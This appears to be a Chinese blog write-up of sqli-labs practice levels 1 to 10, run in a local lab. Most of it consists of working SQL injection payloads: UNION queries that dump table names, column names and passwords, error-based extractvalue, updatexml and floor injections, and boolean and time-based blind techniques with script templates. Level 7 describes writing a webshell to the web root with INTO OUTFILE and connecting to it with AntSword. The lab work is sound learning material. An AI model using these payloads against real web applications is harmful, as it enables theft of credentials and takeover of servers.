sql_labs
寒假在家没事做,给自己找点事做,想来想去还是做一些漏洞实验吧
搭建好环境后就可以开始做题了
level1
get提交参数id
首先提交1'
,判断是字符型还是数字型注入
这里出现报错,说明是字符类型的,并且是用'
将参数id包裹起来的。
接下来就是判断列数,爆表名,爆列名和数据库内容
0x1 确定列数并爆出表名
当列数增加到4的时候开始报错,说明是三列
1 | ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ |
0x2 爆列名
1 | ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ |
这里的列名很多
1 | user_id,first_name,last_name,user,password,avatar,last_login,failed_login |
0x3 爆出内容
选择password
1 | ?id=-1' union select 1,group_concat(password),3 from users--+ |
level2
同样使用 id=1'
,判断是什么类型的注入
可以发现输入的'
没有其他的'
与之闭合,导致报错,所以这是数字型注入
所以可以直接使用level1的注入语句,只需要删除 ‘ 即可
1 | ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ |
level3
提交id=1'
分析一下报错原因
出错的语句为
1 | '1'') LIMIT 0,1 |
其中1’输入的内容,所以包裹参数的格式为('id')
注入语句可以直接在level1的基础上增加一个 )即可
将原语句修改为
1 | '1') 注入语句 --+ ') LIMIT 0,1 |
1 | ?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ |
level4
同样输入id=1'
,但是这次没有报错,才是是使用了"
,换成id=1"
很明显和level3基本相同,将'
改为"
,就是这关的答案
level5
这题是字符型注入,但是不在回显所查询的内容,所以是盲注
查看源码也可以发现

不在打印出所查询到的内容,所以是盲注,但是这关没有关闭报错回显,所以可以通过报错注入
报错注入
(1). 通过floor报错
and (select 1 from (select count(),concat((payload) from users limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
0x1 确定数据库名
1 | ?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+ |
0x2 爆表名
1 | ?id=1' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x23))--+ |
这里每次报错显示的信息只有一行,所以只能有 limit,一个一个的显示,直到找到目标表名
0x3 爆列名
1 | ?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+ |
0x4 爆内容
1 | ?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+ |
后面的内容可以通过改变limit后的第一个参数查看
level6
与level5很像
但是这里是用 “包裹参数,所以只需要将上面的注入语句中的 ‘ 改为 “即可
level7
提交id=1,出现提示
需要使用outfile函数
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个
- into dumpfile()
- into outfile()
- load_file()
这里我们利用outfile函数
首先确定这关包裹参数的格式
一直测试到id=1')) --+
,才显示正确所以可以确定参数的包裹格式为(('id'))
0x1 向网站根目录写入一句话木马
执行后就可以在根目录中看到这个文件
0x2 使用蚁剑连接
1 | 127.0.0.1/3.php |
level8
根据标题和测试结果可以看出是盲注
首先判断是什么类型注入
提交id=1
,显示结果为You are in
,可以确定成功查询返回的结果
提交id=1'
,没有提示You are in
,但是提交id=1' --+
,再次出现You are in
,可以确定是字符型注入,包裹形式为'id'
接下来就是确定盲注使用的语句,这里可以使用 ascii
和substring
两个函数
0x1 爆出数据库名
1 | ?id=1' and ascii(substring(database(),1,1))>97%23 |
首先假设数据库名的第一个字母的ascii码值大于97,回显为you are in
,所以确定第一个字母大于97,之后可以使用二分法确定出最后的字母。
可以使用脚本完成该过程,脚本跑出的结果为 security
0x2 爆出表名
使用注入语句
1 | id=1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})%23 |
最后爆出的表名如下
0x3 爆出列名
1 | id=1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='users' having a>{1})%23 |
0x4 爆出内容
1 | id=1' and (select ascii(substring(group_concat(password),{0},1)) as a from users having a>{1})%23 |
完整脚本如下
1 | import requests |
level9
题目标题提示了是基于时间且单引号闭合的盲注
基于时间的盲注需要使用到sleep
函数,基本用法如下
分别提交id=1
,id=1' and sleep(3) --+
,其服务器的响应时间如下,第二个的响应时间正好比第一个长了三秒,所以可以根据服务器的响应时间来判断自己所查询的语句是否正确,一般需要编写脚本完成所有步骤。
注入脚本只需要改一改level8的即可。
完整脚本如下
1 | import requests |
爆破数据库名的过程如下
level10
与level9基本相同,只需要将payload中的'
换成"
即可
完整脚本如下
1 | import requests |